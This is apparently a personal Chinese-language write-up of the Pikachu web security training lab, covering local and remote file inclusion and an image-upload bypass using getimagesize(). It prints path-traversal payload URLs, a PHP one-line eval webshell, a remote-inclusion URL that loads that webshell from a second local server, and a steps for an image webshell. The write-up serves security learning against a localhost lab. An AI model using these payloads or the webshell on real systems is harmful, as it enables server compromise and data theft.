file inclusion(local)
正常点击下拉单选框会要求你选择球星并输出他们的个人信息
查看url发现如下:
http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
其中通过GET方式传参传入的为file1.php
其他几位球星则分别是file1.php~~file5.php,那么针对这个情况进行1-100的数字爆破
发现file6.php有问题
其他的就有报错了
通过报错信息可以确认服务器操作系统为Windows,以及网站根目录所在的位置
源代码是这么写的:
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
genjudalao给出的WP,构建payload
http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
可以查看win.ini的信息
当然如果有Webshell的话可以用这种方法进行连接
fileinclusion(remote)
题面就不放图了,和上一题一样
远程文件包含漏洞,同上一道题一样,在这里看一下传入的url,比如说我们传入的是file1.php
http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
既然如此,不难看出这里的GET传参中整个include函数所使用的参数都被展示出来了,那么是不是就可以直接访问web中的文件了?那么就在本地服务器中写一个php一句话木马并命名为2.txt,内容:
<?php @eval($_POST['key']); ?>
然后使用python自带的SocketServer开启服务(这也是看WP新get到的技能)(在这里使用的目录为钢刺啊编写好了的Webshell所在的目录)
接下来编辑payload
http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8081/2.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
post过去个key试试?
成功起到了Webshell的作用
那还愣着干什么,拔出蚁剑,砍他!!!!!!
乌拉~~~
关于本地远程文件包含这边提一下文件上传漏洞一处的做法
getimagesize()
还是一个文件上传的题目
看了眼提示,我去查了一下getimagesize()函数的用法,发现是这样的:
<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>
可以获取目标图片文件的一系列属性,那么我们上传的就必须是一个图片文件,那么就制作图片马
其中的new.jpg为图片马
上传成功,路径为:uploads/2022/01/19/12419861e811fda1ca7328740305.jpg
接下来使用本地文件包含漏洞
根据url判断相对地址,构建payload
http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/01/21/94950961ea505a86cca496020197.jpg&submit=%E6%8F%90%E4%BA%A4
2022.3.30补充
之前一直使用/b的形式生成图片马,结果会导致其中的<?中的<无法被解析出来从而导致失败。所以在这边使用/a使用ascii编码的方式进行再次尝试。
看这边,这不就成了?????
看这张图更加可以确定是被解析出来了